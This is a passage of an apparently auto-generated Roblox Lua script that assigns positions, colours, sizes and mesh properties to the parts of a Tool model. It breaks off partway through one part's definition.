  1731. Part89.BottomSurface = Enum.SurfaceType.Smooth
  1732. Part89.TopSurface = Enum.SurfaceType.Smooth
  1733. Part89.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1734. Part89.Position = Vector3.new(26.9714355, 1.07226598, 138.460022)
  1735. Part89.Orientation = Vector3.new(-89.7999954, 127.709999, -23.289999)
  1736. Part89.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1737. BlockMesh90.Parent = Part89
  1738. BlockMesh90.Offset = Vector3.new(-0.0269999988, 0, 0)
  1739. BlockMesh90.Scale = Vector3.new(0.149999991, 0.180000007, 0.0749999955)
  1740. BlockMesh90.Scale = Vector3.new(0.149999991, 0.180000007, 0.0749999955)
  1741. Part91.Parent = Tool0
  1742. Part91.Material = Enum.Material.SmoothPlastic
  1743. Part91.BrickColor = BrickColor.new("Black")
  1744. Part91.Reflectance = 0.050000000745058
  1745. Part91.Transparency = 1
  1746. Part91.Rotation = Vector3.new(0, 89.4599991, 0)
  1747. Part91.Anchored = true
  1748. Part91.FormFactor = Enum.FormFactor.Custom
  1749. Part91.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1750. Part91.CFrame = CFrame.new(26.9709473, 1.06616199, 138.530884, 0.00939145684, 4.35706298e-08, 0.999955893, 1.4781123e-08, 0.99999994, -4.37113812e-08, -0.999955773, 1.51909649e-08, 0.00939150155)
  1751. Part91.BottomSurface = Enum.SurfaceType.Smooth
  1752. Part91.TopSurface = Enum.SurfaceType.Smooth
  1753. Part91.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1754. Part91.Position = Vector3.new(26.9709473, 1.06616199, 138.530884)
  1755. Part91.Orientation = Vector3.new(0, 89.4599991, 0)
  1756. Part91.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1757. Decal92.Parent = Part91
  1758. Decal92.Texture = "http://www.roblox.com/asset/?id=30856952"
  1759. Decal93.Parent = Part91
  1760. Decal93.Texture = "http://www.roblox.com/asset/?id=30856952"
  1761. Decal93.Face = Enum.NormalId.Back
  1762. BlockMesh94.Parent = Part91
  1763. BlockMesh94.Offset = Vector3.new(0, 0, 0.119999997)
  1764. BlockMesh94.Scale = Vector3.new(0.450000018, 0.180000007, 1.04999995)
  1765. BlockMesh94.Scale = Vector3.new(0.450000018, 0.180000007, 1.04999995)
  1766. Part95.Parent = Tool0
  1767. Part95.Material = Enum.Material.SmoothPlastic
  1768. Part95.BrickColor = BrickColor.new("Black")
  1769. Part95.Reflectance = 0.050000000745058
  1770. Part95.Rotation = Vector3.new(0, 89.4599991, 0)
  1771. Part95.Anchored = true
  1772. Part95.FormFactor = Enum.FormFactor.Custom
  1773. Part95.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1774. Part95.CFrame = CFrame.new(27.215332, 1.20727503, 138.719482, 0.00939106941, 1.04958431e-07, 0.999955714, -1.75381587e-07, 0.999999583, -1.03315969e-07, -0.999955237, -1.74403468e-07, 0.00939127803)
  1775. Part95.BottomSurface = Enum.SurfaceType.Smooth
  1776. Part95.TopSurface = Enum.SurfaceType.Smooth
  1777. Part95.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1778. Part95.Position = Vector3.new(27.215332, 1.20727503, 138.719482)
  1779. Part95.Orientation = Vector3.new(0, 89.4599991, 0)
  1780. Part95.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1781. SpecialMesh96.Parent = Part95
  1782. SpecialMesh96.MeshId = "http://www.roblox.com/asset/?id=12221344"
  1783. SpecialMesh96.Scale = Vector3.new(0.0900000036, 0.119999997, 0.00300000003)
  1784. SpecialMesh96.MeshType = Enum.MeshType.FileMesh
  1785. SpecialMesh96.Scale = Vector3.new(0.0900000036, 0.119999997, 0.00300000003)
  1786. Part97.Parent = Tool0
  1787. Part97.Material = Enum.Material.SmoothPlastic
  1788. Part97.BrickColor = BrickColor.new("Black")
  1789. Part97.Reflectance = 0.050000000745058
  1790. Part97.Transparency = 1
  1791. Part97.Rotation = Vector3.new(0, 89.4599991, 0)
  1792. Part97.Anchored = true
  1793. Part97.FormFactor = Enum.FormFactor.Custom
  1794. Part97.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1795. Part97.CFrame = CFrame.new(26.9727783, 1.06616199, 138.338989, 0.00939145684, 4.35706298e-08, 0.999955893, 1.4781123e-08, 0.99999994, -4.37113812e-08, -0.999955773, 1.51909649e-08, 0.00939150155)
  1796. Part97.BottomSurface = Enum.SurfaceType.Smooth
  1797. Part97.TopSurface = Enum.SurfaceType.Smooth
  1798. Part97.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1799. Part97.Position = Vector3.new(26.9727783, 1.06616199, 138.338989)
  1800. Part97.Orientation = Vector3.new(0, 89.4599991, 0)
  1801. Part97.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1802. Decal98.Parent = Part97
  1803. Decal98.Texture = "http://www.roblox.com/asset/?id=30856892"
  1804. Decal99.Parent = Part97
  1805. Decal99.Texture = "http://www.roblox.com/asset/?id=30856892"
  1806. Decal99.Face = Enum.NormalId.Back
  1807. BlockMesh100.Parent = Part97
  1808. BlockMesh100.Offset = Vector3.new(0, 0, 0.119999997)
  1809. BlockMesh100.Scale = Vector3.new(0.450000018, 0.180000007, 1.04999995)
  1810. BlockMesh100.Scale = Vector3.new(0.450000018, 0.180000007, 1.04999995)
  1811. Part101.Parent = Tool0
  1812. Part101.Material = Enum.Material.SmoothPlastic
  1813. Part101.BrickColor = BrickColor.new("Black")
  1814. Part101.Reflectance = 0.050000000745058
  1815. Part101.Rotation = Vector3.new(0, -0.539999962, 90)
  1816. Part101.Anchored = true
  1817. Part101.FormFactor = Enum.FormFactor.Custom
  1818. Part101.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1819. Part101.CFrame = CFrame.new(27.2094727, 1.16210902, 138.716553, 1.11260377e-07, -0.999955833, -0.00939127803, 0.999999702, 1.09478208e-07, 1.90282762e-07, -1.8924618e-07, -0.00939120352, 0.999955297)
  1820. Part101.BottomSurface = Enum.SurfaceType.Smooth
  1821. Part101.TopSurface = Enum.SurfaceType.Smooth
  1822. Part101.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1823. Part101.Position = Vector3.new(27.2094727, 1.16210902, 138.716553)
  1824. Part101.Orientation = Vector3.new(0, -0.539999962, 90)
  1825. Part101.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1826. BlockMesh102.Parent = Part101
  1827. BlockMesh102.Offset = Vector3.new(-0.00749999983, 0.00300000003, 0)
  1828. BlockMesh102.Scale = Vector3.new(0.180000007, 0.119999997, 0.299999982)
  1829. BlockMesh102.Scale = Vector3.new(0.180000007, 0.119999997, 0.299999982)
  1830. Part103.Parent = Tool0
  1831. Part103.Material = Enum.Material.SmoothPlastic
  1832. Part103.BrickColor = BrickColor.new("Black")
  1833. Part103.Reflectance = 0.050000000745058
  1834. Part103.Rotation = Vector3.new(0, -0.539999962, 90)
  1835. Part103.Anchored = true
  1836. Part103.FormFactor = Enum.FormFactor.Custom
  1837. Part103.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1838. Part103.CFrame = CFrame.new(27.2094727, 1.12622094, 138.716553, 1.11260377e-07, -0.999955833, -0.00939127803, 0.999999702, 1.09478208e-07, 1.90282762e-07, -1.8924618e-07, -0.00939120352, 0.999955297)
  1839. Part103.BottomSurface = Enum.SurfaceType.Smooth
  1840. Part103.TopSurface = Enum.SurfaceType.Smooth
  1841. Part103.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1842. Part103.Position = Vector3.new(27.2094727, 1.12622094, 138.716553)
  1843. Part103.Orientation = Vector3.new(0, -0.539999962, 90)
  1844. Part103.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1845. BlockMesh104.Parent = Part103
  1846. BlockMesh104.Scale = Vector3.new(0.540000021, 0.119999997, 0.0749999955)
  1847. BlockMesh104.Scale = Vector3.new(0.540000021, 0.119999997, 0.0749999955)
  1848. Part105.Parent = Tool0
  1849. Part105.Material = Enum.Material.SmoothPlastic
  1850. Part105.BrickColor = BrickColor.new("Black")
  1851. Part105.Rotation = Vector3.new(-90, 0, 179.459991)
  1852. Part105.Anchored = true
  1853. Part105.FormFactor = Enum.FormFactor.Custom
  1854. Part105.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1855. Part105.CFrame = CFrame.new(27.2172852, 1.07226598, 138.462296, -0.999955833, -0.00939127803, 7.44607718e-08, 7.35136609e-08, 1.01192242e-07, 0.999999702, -0.00939120352, 0.999955297, -1.00497417e-07)
  1856. Part105.BottomSurface = Enum.SurfaceType.Smooth
  1857. Part105.TopSurface = Enum.SurfaceType.Smooth
  1858. Part105.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1859. Part105.Position = Vector3.new(27.2172852, 1.07226598, 138.462296)
  1860. Part105.Orientation = Vector3.new(-89.9599991, 143.459991, 36)
  1861. Part105.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1862. BlockMesh106.Parent = Part105
  1863. BlockMesh106.Offset = Vector3.new(0.0149999997, 0.0539999977, 0)
  1864. BlockMesh106.Scale = Vector3.new(0.149999991, 0.540000021, 0.149999991)
  1865. BlockMesh106.Scale = Vector3.new(0.149999991, 0.540000021, 0.149999991)
  1866. Part107.Parent = Tool0
  1867. Part107.Material = Enum.Material.SmoothPlastic
  1868. Part107.BrickColor = BrickColor.new("Black")
  1869. Part107.Reflectance = 0.050000000745058
  1870. Part107.Rotation = Vector3.new(0, -0.539999962, 90)
  1871. Part107.Anchored = true
  1872. Part107.FormFactor = Enum.FormFactor.Custom
  1873. Part107.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1874. Part107.CFrame = CFrame.new(27.2086182, 1.04223597, 138.776367, 1.11260377e-07, -0.999955833, -0.00939127803, 0.999999702, 1.09478208e-07, 1.90282762e-07, -1.8924618e-07, -0.00939120352, 0.999955297)
  1875. Part107.BottomSurface = Enum.SurfaceType.Smooth
  1876. Part107.TopSurface = Enum.SurfaceType.Smooth
  1877. Part107.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1878. Part107.Position = Vector3.new(27.2086182, 1.04223597, 138.776367)
  1879. Part107.Orientation = Vector3.new(0, -0.539999962, 90)
  1880. Part107.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1881. BlockMesh108.Parent = Part107
  1882. BlockMesh108.Offset = Vector3.new(0, 0.0120000001, 0)
  1883. BlockMesh108.Scale = Vector3.new(0.180000007, 0.0299999993, 0.825000048)
  1884. BlockMesh108.Scale = Vector3.new(0.180000007, 0.0299999993, 0.825000048)
  1885. Part109.Parent = Tool0
  1886. Part109.Material = Enum.Material.SmoothPlastic
  1887. Part109.BrickColor = BrickColor.new("Black")
  1888. Part109.Reflectance = 0.050000000745058
  1889. Part109.Rotation = Vector3.new(0, 89.4599991, -90)
  1890. Part109.Anchored = true
  1891. Part109.FormFactor = Enum.FormFactor.Custom
  1892. Part109.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1893. Part109.CFrame = CFrame.new(26.9537354, 0.913085997, 138.828003, -7.51574945e-08, 0.00939127803, 0.999955833, -0.999999702, -1.75381601e-07, -7.35136751e-08, 1.74683422e-07, -0.999955297, 0.00939120352)
  1894. Part109.BottomSurface = Enum.SurfaceType.Smooth
  1895. Part109.TopSurface = Enum.SurfaceType.Smooth
  1896. Part109.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1897. Part109.Position = Vector3.new(26.9537354, 0.913085997, 138.828003)
  1898. Part109.Orientation = Vector3.new(0, 89.4599991, -90)
  1899. Part109.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1900. CylinderMesh110.Parent = Part109
  1901. CylinderMesh110.Offset = Vector3.new(0, 0, 0.0450000018)
  1902. CylinderMesh110.Scale = Vector3.new(0.225000009, 0.900000036, 0.225000009)
  1903. CylinderMesh110.Scale = Vector3.new(0.225000009, 0.900000036, 0.225000009)
  1904. Part111.Parent = Tool0
  1905. Part111.Material = Enum.Material.SmoothPlastic
  1906. Part111.BrickColor = BrickColor.new("Black")
  1907. Part111.Reflectance = 0.050000000745058
  1908. Part111.Rotation = Vector3.new(0, -0.539999962, -180)
  1909. Part111.Anchored = true
  1910. Part111.FormFactor = Enum.FormFactor.Custom
  1911. Part111.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1912. Part111.CFrame = CFrame.new(26.9494629, 1.03320301, 138.887573, -0.999949455, 6.38106201e-07, -0.00939075649, -8.80158211e-07, -0.999994636, 3.69093527e-07, -0.00939118862, 3.90005596e-07, 0.999947309)
  1913. Part111.BottomSurface = Enum.SurfaceType.Smooth
  1914. Part111.TopSurface = Enum.SurfaceType.Smooth
  1915. Part111.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1916. Part111.Position = Vector3.new(26.9494629, 1.03320301, 138.887573)
  1917. Part111.Orientation = Vector3.new(0, -0.539999962, -180)
  1918. Part111.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1919. CylinderMesh112.Parent = Part111
  1920. CylinderMesh112.Offset = Vector3.new(-0.0299999993, 0, 0)
  1921. CylinderMesh112.Scale = Vector3.new(0.225000009, 1.5, 0.225000009)
  1922. CylinderMesh112.Scale = Vector3.new(0.225000009, 1.5, 0.225000009)
  1923. Part113.Parent = Tool0
  1924. Part113.Material = Enum.Material.SmoothPlastic
  1925. Part113.BrickColor = BrickColor.new("Black")
  1926. Part113.Reflectance = 0.050000000745058
  1927. Part113.Rotation = Vector3.new(0, -0.539999962, 90)
  1928. Part113.Anchored = true
  1929. Part113.FormFactor = Enum.FormFactor.Custom
  1930. Part113.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1931. Part113.CFrame = CFrame.new(27.1765137, 1.39330995, 138.985901, 8.71412595e-08, -0.999955893, -0.00939127803, 0.999999881, 8.74227624e-08, -2.9562246e-08, 3.03819299e-08, -0.00939150155, 0.999955535)
  1932. Part113.BottomSurface = Enum.SurfaceType.Smooth
  1933. Part113.TopSurface = Enum.SurfaceType.Smooth
  1934. Part113.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1935. Part113.Position = Vector3.new(27.1765137, 1.39330995, 138.985901)
  1936. Part113.Orientation = Vector3.new(0, -0.539999962, 90)
  1937. Part113.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1938. BlockMesh114.Parent = Part113
  1939. BlockMesh114.Offset = Vector3.new(-0.0299999993, 0, 0)
  1940. BlockMesh114.Scale = Vector3.new(0.450000018, 0.149999961, 0.900000036)
  1941. BlockMesh114.Scale = Vector3.new(0.450000018, 0.149999961, 0.900000036)
  1942. Part115.Parent = Tool0
  1943. Part115.Material = Enum.Material.SmoothPlastic
  1944. Part115.BrickColor = BrickColor.new("Black")
  1945. Part115.Reflectance = 0.050000000745058
  1946. Part115.Rotation = Vector3.new(0, -0.539999962, 90)
  1947. Part115.Anchored = true
  1948. Part115.FormFactor = Enum.FormFactor.Custom
  1949. Part115.Size = Vector3.new(0.347999901, 0.200000003, 0.200000003)
  1950. Part115.CFrame = CFrame.new(27.2078857, 1.00610304, 138.851563, 8.71412595e-08, -0.999955893, -0.00939127803, 0.999999881, 8.74227624e-08, -2.9562246e-08, 3.03819299e-08, -0.00939150155, 0.999955535)
  1951. Part115.BottomSurface = Enum.SurfaceType.Smooth
  1952. Part115.TopSurface = Enum.SurfaceType.Smooth
  1953. Part115.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1954. Part115.Position = Vector3.new(27.2078857, 1.00610304, 138.851563)
  1955. Part115.Orientation = Vector3.new(0, -0.539999962, 90)
  1956. Part115.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1957. BlockMesh116.Parent = Part115
  1958. BlockMesh116.Offset = Vector3.new(0, 0.0149999997, 0)
  1959. BlockMesh116.Scale = Vector3.new(1, 0.0299999993, 0.450000018)
  1960. BlockMesh116.Scale = Vector3.new(1, 0.0299999993, 0.450000018)
  1961. Part117.Parent = Tool0
  1962. Part117.Material = Enum.Material.SmoothPlastic
  1963. Part117.BrickColor = BrickColor.new("Black")
  1964. Part117.Reflectance = 0.050000000745058
  1965. Part117.Rotation = Vector3.new(-0.00999999978, 89.4199982, 0)
  1966. Part117.Anchored = true
  1967. Part117.FormFactor = Enum.FormFactor.Custom
  1968. Part117.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1969. Part117.CFrame = CFrame.new(26.9803467, 1.00317395, 138.831116, 0.00939099491, -5.48562753e-07, 0.999948323, -3.83994234e-07, 0.99999392, 8.20552998e-07, -0.999946356, -4.04066043e-07, 0.00939123333)
  1970. Part117.BottomSurface = Enum.SurfaceType.Smooth
  1971. Part117.TopSurface = Enum.SurfaceType.Smooth
  1972. Part117.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1973. Part117.Position = Vector3.new(26.9803467, 1.00317395, 138.831116)
  1974. Part117.Orientation = Vector3.new(0, 89.4599991, 0)
  1975. Part117.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1976. SpecialMesh118.Parent = Part117
  1977. SpecialMesh118.MeshId = "http://www.roblox.com/asset/?id=12221344"
  1978. SpecialMesh118.Scale = Vector3.new(0.119999997, 0.180000007, 0.00300000003)
  1979. SpecialMesh118.MeshType = Enum.MeshType.FileMesh
  1980. SpecialMesh118.Scale = Vector3.new(0.119999997, 0.180000007, 0.00300000003)
  1981. Part119.Parent = Tool0
  1982. Part119.Material = Enum.Material.SmoothPlastic
  1983. Part119.BrickColor = BrickColor.new("Black")
  1984. Part119.Reflectance = 0.050000000745058
  1985. Part119.Rotation = Vector3.new(180, 0.539999962, -180)
  1986. Part119.Anchored = true
  1987. Part119.FormFactor = Enum.FormFactor.Custom
  1988. Part119.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  1989. Part119.CFrame = CFrame.new(27.0974121, 1.13525403, 138.157227, -0.999955833, 7.51575016e-08, 0.00939106941, 7.35136609e-08, 0.999999523, -1.7538153e-07, -0.00939126313, -1.74683436e-07, -0.999955058)
  1990. Part119.BottomSurface = Enum.SurfaceType.Smooth
  1991. Part119.TopSurface = Enum.SurfaceType.Smooth
  1992. Part119.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1993. Part119.Position = Vector3.new(27.0974121, 1.13525403, 138.157227)
  1994. Part119.Orientation = Vector3.new(0, 179.459991, 0)
  1995. Part119.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1996. BlockMesh120.Parent = Part119
  1997. BlockMesh120.Offset = Vector3.new(0.00150000001, 0.0164999999, -0.0164999999)
  1998. BlockMesh120.Scale = Vector3.new(1.01999998, 0.652500093, 1.08000004)
  1999. BlockMesh120.Scale = Vector3.new(1.01999998, 0.652500093, 1.08000004)
  2000. Part121.Parent = Tool0
  2001. Part121.Material = Enum.Material.SmoothPlastic
  2002. Part121.BrickColor = BrickColor.new("Black")
  2003. Part121.Reflectance = 0.20000000298023
  2004. Part121.Rotation = Vector3.new(-90, 0, 179.459991)
  2005. Part121.Anchored = true
  2006. Part121.FormFactor = Enum.FormFactor.Custom
  2007. Part121.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2008. Part121.CFrame = CFrame.new(27.2125244, 1.10522497, 138.347412, -0.999955535, -0.00939102471, 9.95769938e-08, 9.56952277e-08, 4.13800024e-07, 0.999999464, -0.00939133763, 0.999954998, -4.12883026e-07)
  2009. Part121.BottomSurface = Enum.SurfaceType.Smooth
  2010. Part121.TopSurface = Enum.SurfaceType.Smooth
  2011. Part121.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2012. Part121.Position = Vector3.new(27.2125244, 1.10522497, 138.347412)
  2013. Part121.Orientation = Vector3.new(-89.9399948, 166.440002, 13.0199995)
  2014. Part121.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2015. BlockMesh122.Parent = Part121
  2016. BlockMesh122.Offset = Vector3.new(0.0149999997, 0, 0)
  2017. BlockMesh122.Scale = Vector3.new(0.149999991, 0.225000009, 0.119999997)
  2018. BlockMesh122.Scale = Vector3.new(0.149999991, 0.225000009, 0.119999997)
  2019. Part123.Parent = Tool0
  2020. Part123.Material = Enum.Material.SmoothPlastic
  2021. Part123.BrickColor = BrickColor.new("Black")
  2022. Part123.Reflectance = 0.050000000745058
  2023. Part123.Rotation = Vector3.new(180, 0.539999962, -180)
  2024. Part123.Anchored = true
  2025. Part123.FormFactor = Enum.FormFactor.Custom
  2026. Part123.Size = Vector3.new(0.209999993, 0.300000012, 0.959999979)
  2027. Part123.CFrame = CFrame.new(27.0889893, 1.06616199, 138.732971, -0.999955833, 7.51575016e-08, 0.00939102471, 7.35136609e-08, 0.999999583, -1.75381558e-07, -0.00939126313, -1.74683436e-07, -0.999954998)
  2028. Part123.BottomSurface = Enum.SurfaceType.Smooth
  2029. Part123.TopSurface = Enum.SurfaceType.Smooth
  2030. Part123.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2031. Part123.Position = Vector3.new(27.0889893, 1.06616199, 138.732971)
  2032. Part123.Orientation = Vector3.new(0, 179.459991, 0)
  2033. Part123.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2034. BlockMesh124.Parent = Part123
  2035. BlockMesh124.Scale = Vector3.new(1, 1, 0.950000048)
  2036. BlockMesh124.Scale = Vector3.new(1, 1, 0.950000048)
  2037. Part125.Parent = Tool0
  2038. Part125.Material = Enum.Material.SmoothPlastic
  2039. Part125.BrickColor = BrickColor.new("Black")
  2040. Part125.Reflectance = 0.050000000745058
  2041. Part125.Rotation = Vector3.new(180, 0.539999962, 105)
  2042. Part125.Anchored = true
  2043. Part125.FormFactor = Enum.FormFactor.Custom
  2044. Part125.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2045. Part125.CFrame = CFrame.new(26.9566669, 1.35107398, 138.758911, -0.258817226, -0.965878427, 0.00939102471, -0.965921342, 0.258828729, -1.3166985e-07, -0.00243057683, -0.00907120109, -0.999952912)
  2046. Part125.BottomSurface = Enum.SurfaceType.Smooth
  2047. Part125.TopSurface = Enum.SurfaceType.Smooth
  2048. Part125.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2049. Part125.Position = Vector3.new(26.9566669, 1.35107398, 138.758911)
  2050. Part125.Orientation = Vector3.new(0, 179.459991, -75)
  2051. Part125.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2052. SpecialMesh126.Parent = Part125
  2053. SpecialMesh126.Scale = Vector3.new(0.599999964, 0.599999964, 0.599999964)
  2054. SpecialMesh126.MeshType = Enum.MeshType.Torso
  2055. SpecialMesh126.Scale = Vector3.new(0.599999964, 0.599999964, 0.599999964)
  2056. Part127.Parent = Tool0
  2057. Part127.Material = Enum.Material.SmoothPlastic
  2058. Part127.BrickColor = BrickColor.new("Black")
  2059. Part127.Reflectance = 0.050000000745058
  2060. Part127.Rotation = Vector3.new(-180, 0.539999962, 180)
  2061. Part127.Anchored = true
  2062. Part127.FormFactor = Enum.FormFactor.Custom
  2063. Part127.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2064. Part127.CFrame = CFrame.new(27.1043701, 1.23608398, 138.085327, -0.999955833, -4.52194536e-06, 0.00939102471, -4.46485592e-06, 0.999999583, 6.10001689e-06, -0.00939126313, 6.05781406e-06, -0.999954998)
  2065. Part127.BottomSurface = Enum.SurfaceType.Smooth
  2066. Part127.TopSurface = Enum.SurfaceType.Smooth
  2067. Part127.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2068. Part127.Position = Vector3.new(27.1043701, 1.23608398, 138.085327)
  2069. Part127.Orientation = Vector3.new(0, 179.459991, 0)
  2070. Part127.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2071. SpecialMesh128.Parent = Part127
  2072. SpecialMesh128.MeshId = "http://www.roblox.com/asset/?id=12221344"
  2073. SpecialMesh128.Scale = Vector3.new(0.479999989, 0.629999995, 0.0149999997)
  2074. SpecialMesh128.MeshType = Enum.MeshType.FileMesh
  2075. SpecialMesh128.Scale = Vector3.new(0.479999989, 0.629999995, 0.0149999997)
  2076. Part129.Parent = Tool0
  2077. Part129.Material = Enum.Material.SmoothPlastic
  2078. Part129.BrickColor = BrickColor.new("Black")
  2079. Part129.Reflectance = 0.050000000745058
  2080. Part129.Rotation = Vector3.new(-90, 0, 179.459991)
  2081. Part129.Anchored = true
  2082. Part129.FormFactor = Enum.FormFactor.Custom
  2083. Part129.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  2084. Part129.CFrame = CFrame.new(27.0843506, 1.10229504, 139.216187, -0.999955714, -0.0093909651, -2.52597529e-05, -2.52627906e-05, 2.05183838e-07, 0.999999583, -0.00939120352, 0.999954998, -4.42417331e-07)
  2085. Part129.BottomSurface = Enum.SurfaceType.Smooth
  2086. Part129.TopSurface = Enum.SurfaceType.Smooth
  2087. Part129.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2088. Part129.Position = Vector3.new(27.0843506, 1.10229504, 139.216187)
  2089. Part129.Orientation = Vector3.new(-89.9499969, -91, -89.5299988)
  2090. Part129.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2091. SpecialMesh130.Parent = Part129
  2092. SpecialMesh130.Scale = Vector3.new(1, 0.360000014, 0.299999982)
  2093. SpecialMesh130.MeshType = Enum.MeshType.Wedge
  2094. SpecialMesh130.Scale = Vector3.new(1, 0.360000014, 0.299999982)
  2095. Part131.Parent = Tool0
  2096. Part131.Material = Enum.Material.SmoothPlastic
  2097. Part131.BrickColor = BrickColor.new("Black")
  2098. Part131.Reflectance = 0.050000000745058
  2099. Part131.Rotation = Vector3.new(-180, -89.4599991, -90)
  2100. Part131.Anchored = true
  2101. Part131.FormFactor = Enum.FormFactor.Custom
  2102. Part131.Size = Vector3.new(0.209999993, 0.200000003, 0.209999993)
  2103. Part131.CFrame = CFrame.new(27.1380615, 1.27026403, 138.172791, 7.51575016e-08, 0.00939102471, -0.999955833, 0.999999583, -1.75381558e-07, 7.35136609e-08, -1.74683436e-07, -0.999954998, -0.00939126313)
  2104. Part131.BottomSurface = Enum.SurfaceType.Smooth
  2105. Part131.TopSurface = Enum.SurfaceType.Smooth
  2106. Part131.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2107. Part131.Position = Vector3.new(27.1380615, 1.27026403, 138.172791)
  2108. Part131.Orientation = Vector3.new(0, -90.5400009, 90)
  2109. Part131.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2110. CylinderMesh132.Parent = Part131
  2111. CylinderMesh132.Scale = Vector3.new(1.1500001, 0.75, 1.04999995)
  2112. CylinderMesh132.Scale = Vector3.new(1.1500001, 0.75, 1.04999995)
  2113. Part133.Parent = Tool0
  2114. Part133.Material = Enum.Material.SmoothPlastic
  2115. Part133.BrickColor = BrickColor.new("Black")
  2116. Part133.Reflectance = 0.050000000745058
  2117. Part133.Rotation = Vector3.new(90, 0, -179.459991)
  2118. Part133.Anchored = true
  2119. Part133.FormFactor = Enum.FormFactor.Custom
  2120. Part133.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  2121. Part133.CFrame = CFrame.new(27.0895996, 0.834227979, 138.712296, -0.999955833, 0.00939102471, -7.48776188e-08, 7.35136609e-08, -1.45579236e-07, -0.999999583, -0.00939126313, -0.999954998, 1.44882463e-07)
  2122. Part133.BottomSurface = Enum.SurfaceType.Smooth
  2123. Part133.TopSurface = Enum.SurfaceType.Smooth
  2124. Part133.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2125. Part133.Position = Vector3.new(27.0895996, 0.834227979, 138.712296)
  2126. Part133.Orientation = Vector3.new(89.9499969, -27.3299999, 153.209991)
  2127. Part133.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2128. SpecialMesh134.Parent = Part133
  2129. SpecialMesh134.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  2130. SpecialMesh134.MeshType = Enum.MeshType.Wedge
  2131. SpecialMesh134.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  2132. Part135.Parent = Tool0
  2133. Part135.Material = Enum.Material.SmoothPlastic
  2134. Part135.BrickColor = BrickColor.new("Black")
  2135. Part135.Reflectance = 0.050000000745058
  2136. Part135.Rotation = Vector3.new(0, -0.539999962, 180)
  2137. Part135.Anchored = true
  2138. Part135.FormFactor = Enum.FormFactor.Custom
  2139. Part135.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  2140. Part135.CFrame = CFrame.new(27.0936279, 1.05126905, 138.235168, -0.999955833, -7.51575016e-08, -0.00939102471, 7.35136609e-08, -0.999999583, 1.75381558e-07, -0.00939126313, 1.74683436e-07, 0.999954998)
  2141. Part135.BottomSurface = Enum.SurfaceType.Smooth
  2142. Part135.TopSurface = Enum.SurfaceType.Smooth
  2143. Part135.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2144. Part135.Position = Vector3.new(27.0936279, 1.05126905, 138.235168)
  2145. Part135.Orientation = Vector3.new(0, -0.539999962, 180)
  2146. Part135.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2147. SpecialMesh136.Parent = Part135
  2148. SpecialMesh136.Scale = Vector3.new(1, 0.149999991, 0.149999991)
  2149. SpecialMesh136.MeshType = Enum.MeshType.Wedge
  2150. SpecialMesh136.Scale = Vector3.new(1, 0.149999991, 0.149999991)
  2151. Part137.Parent = Tool0
  2152. Part137.Material = Enum.Material.SmoothPlastic
  2153. Part137.BrickColor = BrickColor.new("Brick yellow")
  2154. Part137.Reflectance = 0.050000000745058
  2155. Part137.Rotation = Vector3.new(-61.3099976, -0.25999999, 179.529999)
  2156. Part137.Anchored = true
  2157. Part137.FormFactor = Enum.FormFactor.Custom
  2158. Part137.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
